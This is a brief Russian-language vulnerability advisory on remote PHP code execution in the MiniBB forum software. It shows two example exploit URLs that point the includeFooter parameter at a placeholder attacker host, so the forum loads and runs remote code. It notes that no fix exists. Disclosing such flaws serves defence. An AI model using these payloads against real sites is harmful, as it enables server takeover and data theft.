Удаленное выполнение произвольного php кода в MiniBB

Описание: Уязвимость позволяет удаленному пользователю выполнить произвольные команды на целевой системе.

Пример/Эксплоит:

 
http://[target]/[path_to_minibb]/index.php?includeFooter=http://[attacker]
http://[target]/[path_to_minibb]/bb_admin.php?includeFooter=ht tp://[attacker]
URL производителя: http://www.minibb.net/
Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.